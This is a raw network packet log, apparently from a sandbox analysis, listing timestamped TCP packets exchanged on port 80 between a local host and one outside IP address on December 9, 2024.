Dec 9, 2024 20:27:32.307475090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.308324099 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.308377981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.308448076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.308492899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.309334040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.309384108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.309453964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.309499025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.310357094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.310406923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.310421944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.310462952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.450836897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.450903893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.450917006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.450952053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.451281071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.451371908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.451416969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.451636076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.452425957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.452461958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.452480078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.452502012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.453277111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.453327894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.453658104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.453701019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.453798056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.453840017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.454551935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.454597950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.454601049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.454643011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.455565929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.455670118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.455717087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.456655979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.456717014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.456835985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.456876040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.457581997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.457700014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.457777023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.457848072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.458581924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.458633900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.458672047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.458712101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.459600925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.459661961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.459703922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.459742069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.460535049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.460587978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.460602045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.460639000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.461690903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.461760044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.461783886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.461822033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.462557077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.462603092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.462637901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.462685108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.463562012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.463684082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.463753939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.464545965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.464606047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.464642048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.464679003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.465526104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.465578079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.465617895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.465662956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.466582060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.466619968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.466633081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.466659069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.467566013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.467614889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.467713118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.467778921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.468590975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.468648911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.468759060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.469194889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.469546080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.469602108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.469665051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.469703913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.470588923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.470709085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.470757008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.470927000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.471518993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.471621037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.471672058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.472518921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.472630024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.472681046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.473506927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.473560095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.473563910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.473603964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.474536896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.474589109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.474725008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.474771023 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.475512981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.475703955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.475766897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.476525068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.476583958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.476886988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.476941109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.477627993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.477701902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.477782011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.477818966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.478482962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.478600979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.478657961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.479538918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.479566097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.479593039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.479614019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.480591059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.480604887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.480654001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.481533051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.481589079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.481627941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.481669903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.482563019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.482625961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.586359978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.705966949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.028248072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.028295994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.028354883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.028697968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.028753996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.028872013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.028971910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.029886961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.029949903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.029966116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.030009031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.030730963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.030785084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.030829906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.030877113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.031692982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.031850100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.031891108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.032691956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.032778978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.032820940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.033780098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.033817053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.033943892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.033982992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.034698009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.034750938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.034869909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.034905910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.035753965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.035887957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.035939932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.036686897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.036744118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.036778927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.036818981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.037679911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.037740946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.037837982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.037884951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.038719893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.038768053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.038811922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.038855076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.039916992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.039963007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.039997101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.040030956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.040750027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.040821075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.040879011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.040920973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.041702986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.041779041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.041779041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.041816950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.042756081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.042866945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.042916059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.043669939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.043767929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.043827057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.044653893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.044723988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.044842958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.044887066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.045782089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.045825958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.045857906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.045912027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.046746016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.046797037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.046823978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.047142982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.047760963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.047817945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.047852993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.047950983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.048657894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.048738956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.048748970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.048783064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.049688101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.049753904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.049813986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.049856901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.050848961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.050983906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.051028967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.051774979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.051882982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.051927090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.052644968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.052690029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.052995920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.053036928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.053656101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.053792000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.053834915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.054896116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.054945946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.055023909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.055191040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.055668116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.055721998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.055767059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.055811882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.056725025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.056786060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.056807041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.056915998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.057672024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.057765007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.057806969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.058793068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.058840990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.058849096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.058887959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.059716940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.059792995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.059835911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.060668945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.061037064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.061043024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.061079979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.061831951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.061887980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.061923981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.061999083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.062747002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.062798977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.062863111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.063019991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.063883066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.063949108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.063967943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.064009905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.064822912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.064881086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.064984083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.065032959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.065711975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.065758944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.065891027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.066634893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.066699982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.066745996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.066788912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.067605972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.067728043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.067779064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.068640947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.068686962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.068758965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.068799019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.069606066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.069711924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.069786072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.069829941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.070620060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.070683956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.070848942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.070899010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.071604013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.071650028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.071717024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.071763039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.072628975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.072688103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.072757006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.072798014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.073620081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.073668003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.073829889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.074621916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.074667931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.074800014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.074841022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.075635910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.075747967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.075789928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.076592922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.076632977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.076730967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.076771021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.077610970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.077685118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.077713013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.077753067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.078627110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.078682899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.078807116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.078861952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.079651117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.079711914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.079792976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.080051899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.080565929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.080610037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.220531940 CET	80	49740	185.215.113.206	192.168.2.4
